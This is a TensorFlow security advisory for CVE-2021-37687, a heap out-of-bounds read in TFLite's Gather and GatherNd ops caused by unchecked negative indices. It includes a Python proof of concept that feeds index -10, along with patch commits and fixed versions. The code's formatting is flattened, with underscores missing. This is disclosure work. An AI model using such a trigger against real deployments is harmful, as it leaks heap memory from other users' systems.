CVE-2021-37687: Heap OOB in TensorFlow Lite's `Gather*` implementations

Impact TFLite's GatherNd implementation does not support negative indices but there are no checks for this situation.

Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in indices.

Similar issue exists in Gather implementation.

python import tensorflow as tf import numpy as np tf.compat.v1.disablev2behavior()

params = tf.compat.v1.placeholder(name="params", dtype=tf.int64, shape=(1,)) indices = tf.compat.v1.placeholder(name="indices", dtype=tf.int64, shape=())

out = tf.gather(params, indices, name='out')

with tf.compat.v1.Session() as sess: converter = tf.compat.v1.lite.TFLiteConverter.fromsession(sess, [params, indices], [out]) tflitemodel = converter.convert()

interpreter = tf.lite.Interpreter(modelcontent=tflitemodel) interpreter.allocatetensors()

inputdetails = interpreter.getinputdetails() outputdetails = interpreter.getoutputdetails()

paramsdata = np.reshape(np.array([1], dtype=np.int64), newshape=(1,)) indicesdata = np.reshape(np.array(-10, dtype=np.int64), newshape=()) interpreter.settensor(inputdetails[0]['index'], paramsdata) interpreter.settensor(inputdetails[1]['index'], indicesdata)

interpreter.invoke()

Patches We have patched the issue in GitHub commits bb6a0383ed553c286f87ca88c207f6774d5c4a8f and eb921122119a6b6e470ee98b89e65d721663179d.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by Yakun Zhang of Baidu Security.